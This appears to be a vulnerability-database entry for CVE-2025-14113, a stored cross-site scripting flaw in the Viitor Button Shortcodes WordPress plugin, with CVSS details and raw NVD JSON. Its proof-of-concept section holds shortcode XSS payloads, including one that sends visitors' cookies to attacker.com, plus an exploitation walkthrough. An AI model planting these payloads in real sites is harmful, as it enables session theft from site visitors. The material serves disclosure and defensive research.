Security Vulnerability Report
中文
CVE-2025-14113 CVSS 6.4 MEDIUM

CVE-2025-14113

Published: 2026-01-07 12:16:53
Last Modified: 2026-04-15 00:35:42

Description

The Viitor Button Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'link' shortcode attribute in all versions up to, and including, 3.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Viitor Button Shortcodes ≤ 3.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// WordPress Stored XSS PoC - CVE-2025-14113 // Author: Contributor+ level authenticated attacker // Method 1: Using JavaScript protocol in link attribute [button link='javascript:alert(document.domain)']Click Me[/button] // Method 2: Using event handler in link attribute [button link='" onerror="alert(document.cookie)" x="']Button Text[/button] // Method 3: More sophisticated payload [button link='javascript:fetch("https://attacker.com/steal?c="+document.cookie)']Submit[/button] // Exploitation scenario: // 1. Attacker with Contributor role creates/edits a post // 2. Inserts malicious shortcode with XSS payload in link attribute // 3. Publishes or submits the post for review // 4. Any user viewing the page executes the injected JavaScript // 5. Attacker steals session cookies or performs actions on behalf of victim

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14113", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:52.547", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Viitor Button Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'link' shortcode attribute in all versions up to, and including, 3.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Viitor Button Shortcodes para WordPress es vulnerable a cross-site scripting almacenado a través del atributo del shortcode 'link' en todas las versiones hasta la 3.0.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/viitor-shortcodes/tags/3.0.0/includes/class-ww-vcsc-shortcodes.php#L51", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/viitor-shortcodes/trunk/includes/class-ww-vcsc-shortcodes.php#L51", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/61488a15-b49f-4381-9a35-746c39f25967?source=cve", "source": "[email protected]"}]}}